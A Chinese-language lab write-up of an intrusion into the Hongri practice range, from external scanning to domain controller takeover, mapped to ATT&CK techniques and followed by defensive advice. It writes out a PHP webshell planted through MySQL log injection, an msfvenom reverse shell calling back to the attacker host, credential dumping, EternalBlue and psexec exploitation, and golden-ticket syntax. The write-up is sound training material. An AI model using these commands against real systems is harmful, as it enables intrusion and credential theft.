红日靶场实战复盘:从外网打点到域控沦陷的ATT&CK战术全解析
在网络安全领域,红日靶场因其高度仿真的企业内网环境而备受安全从业者青睐。这次我们将深入拆解一个典型的内网渗透案例,从初始的外网打点开始,逐步突破边界、横向移动,最终实现对域控制器的完全控制。不同于简单的工具使用教程,本文将重点分析每个攻击阶段对应的ATT&CK战术和技术(TTPs),帮助读者建立攻防对抗的战术思维。
1. 环境准备与初始侦察
1.1 靶场拓扑与网络配置
红日靶场模拟了一个典型的三层企业网络架构:
- 外网区域:Kali攻击机与Win7服务器位于VM1网段(192.168.41.0/24)
- 内网区域:Win7作为跳板机,通过第二张网卡连接VM2网段(192.168.52.0/24)
- 核心区域:域控制器(Win Server 2008)和成员服务器(Win2003)位于VM2网段
提示:实际环境中,这种网络分段非常常见,Web服务器通常部署在DMZ区,同时具有内外网访问权限。
1.2 初始信息收集技术
使用Nmap进行主机发现和端口扫描是外网渗透的标准起点:
nmap -sn 192.168.41.0/24 # 存活主机扫描 nmap -A 192.168.41.128 # 详细服务识别常见的侦察问题及解决方案:
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 扫描不到主机 | 网络配置错误 | 检查网关和IP设置 |
| 80端口未开放 | 服务未启动 | 启动phpStudy服务 |
| 扫描结果异常 | 防火墙拦截 | 临时关闭防火墙测试 |
ATT&CK映射:
- T1595:主动扫描(Active Scanning)
- T1046:网络服务扫描(Network Service Scanning)
2. 外网突破口:Web应用漏洞利用
2.1 PHPMyAdmin日志注入攻击
发现Win7服务器运行phpStudy环境后,通过默认凭证(root/root)进入PHPMyAdmin,利用日志注入获取Webshell:
-- 开启通用查询日志并设置路径 SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php'; -- 通过日志写入PHP代码 SELECT "<?php @eval($_POST['cmd']);?>";技术要点:
- 利用数据库管理界面功能实现代码注入
- 需要Web目录可写权限
- 蚁剑连接密码需与POST参数一致
2.2 Meterpreter会话建立
通过Webshell上传MSF生成的木马实现持久化控制:
# 生成反向连接payload msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.41.129 LPORT=666 -f exe -o shell.exe # MSF监听配置 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.41.129 set LPORT 666 runATT&CK映射:
- T1190:利用面向公众的应用程序(Exploit Public-Facing Application)
- T1059:命令行界面(Command-Line Interface)
- T1105:远程文件复制(Ingress Tool Transfer)
3. 权限提升与凭证窃取
3.1 从普通用户到SYSTEM权限
在获取初始立足点后,需要提升至最高权限:
getsystem # 尝试自动提权 ps # 列出进程 migrate 488 # 迁移至SYSTEM进程(如services.exe)3.2 使用Kiwi模块获取凭证
新版Metasploit中,Kiwi模块替代了传统的Mimikatz:
load kiwi # 加载Kiwi扩展 creds_all # 获取所有可用凭证获取到的关键凭证:
- 本地管理员:Administrator/hongrisec@2019!
- 域账户:后续用于横向移动
ATT&CK映射:
- T1134:访问令牌操纵(Access Token Manipulation)
- T1003:操作系统凭证转储(OS Credential Dumping)
- T1078:有效账户(Valid Accounts)
4. 内网横向移动技术
4.1 内网拓扑探测
通过跳板机执行基础信息收集:
ipconfig /all # 查看网络配置 net view # 列出域内主机 net user /domain # 查询域用户 net group "domain controllers" /domain # 定位域控4.2 代理通道建立
使用MSF的socks模块建立内网代理:
run autoroute -s 192.168.52.0/24 # 添加路由 background # 切换到后台 # 配置socks代理 use auxiliary/server/socks_proxy set SRVHOST 127.0.0.1 run配置Proxychains:
# /etc/proxychains4.conf socks4 127.0.0.1 10804.3 利用MS17-010漏洞横向移动
对未打补丁的内网主机实施永恒之蓝攻击:
proxychains nmap -Pn -sT 192.168.52.141 # TCP扫描MSF利用模块:
use exploit/windows/smb/ms17_010_psexec set RHOSTS 192.168.52.141 set PAYLOAD windows/meterpreter/bind_tcp exploitATT&CK映射:
- T1210:利用远程服务(Exploitation of Remote Services)
- T1570:横向工具传输(Lateral Tool Transfer)
- T1021:远程服务(Remote Services)
5. 域控攻陷与权限维持
5.1 通过PsExec攻击域控制器
利用获取的域管理员凭证直接攻击域控:
use exploit/windows/smb/psexec set RHOSTS 192.168.52.138 set SMBDomain god set SMBUser Administrator set SMBPass hongrisec@2019! exploit5.2 黄金票据制作(理论延伸)
虽然本靶场未涉及,但实际攻防中常会制作黄金票据实现持久化:
# 需要先获取krbtgt账户的NTLM哈希 golden_ticket_create -d <domain> -k <krbtgt_ntlm> -u <username> -s <SID> -t /root/golden.tckATT&CK映射:
- T1558:窃取或伪造Kerberos票据(Steal or Forge Kerberos Tickets)
- T1484:域策略修改(Domain Policy Modification)
- T1078:有效账户(Valid Accounts)
6. 攻击链路的防御思考
6.1 各阶段防御建议
针对本次攻击的每个阶段,企业可采取的防御措施:
侦察阶段:
- 限制ICMP响应
- 配置网络入侵检测系统(NIDS)
初始入侵:
- 修改所有默认凭证
- 实施最小权限原则
权限提升:
- 启用LSA保护
- 监控异常进程注入
横向移动:
- 部署网络分段
- 启用SMB签名
域控攻陷:
- 保护krbtgt账户
- 实施特权账户管理(PAM)
6.2 ATT&CK框架的防御价值
通过映射本次攻击的TTPs,安全团队可以:
- 针对性部署检测规则(如Sigma规则)
- 评估现有防御体系的覆盖盲区
- 设计更有效的红蓝对抗演练方案
在真实企业环境中,攻击者可能会采用更隐蔽的技术组合,但基本的攻击逻辑与本次靶场演练高度一致。理解这些基础技术原理,是构建深度防御能力的重要前提。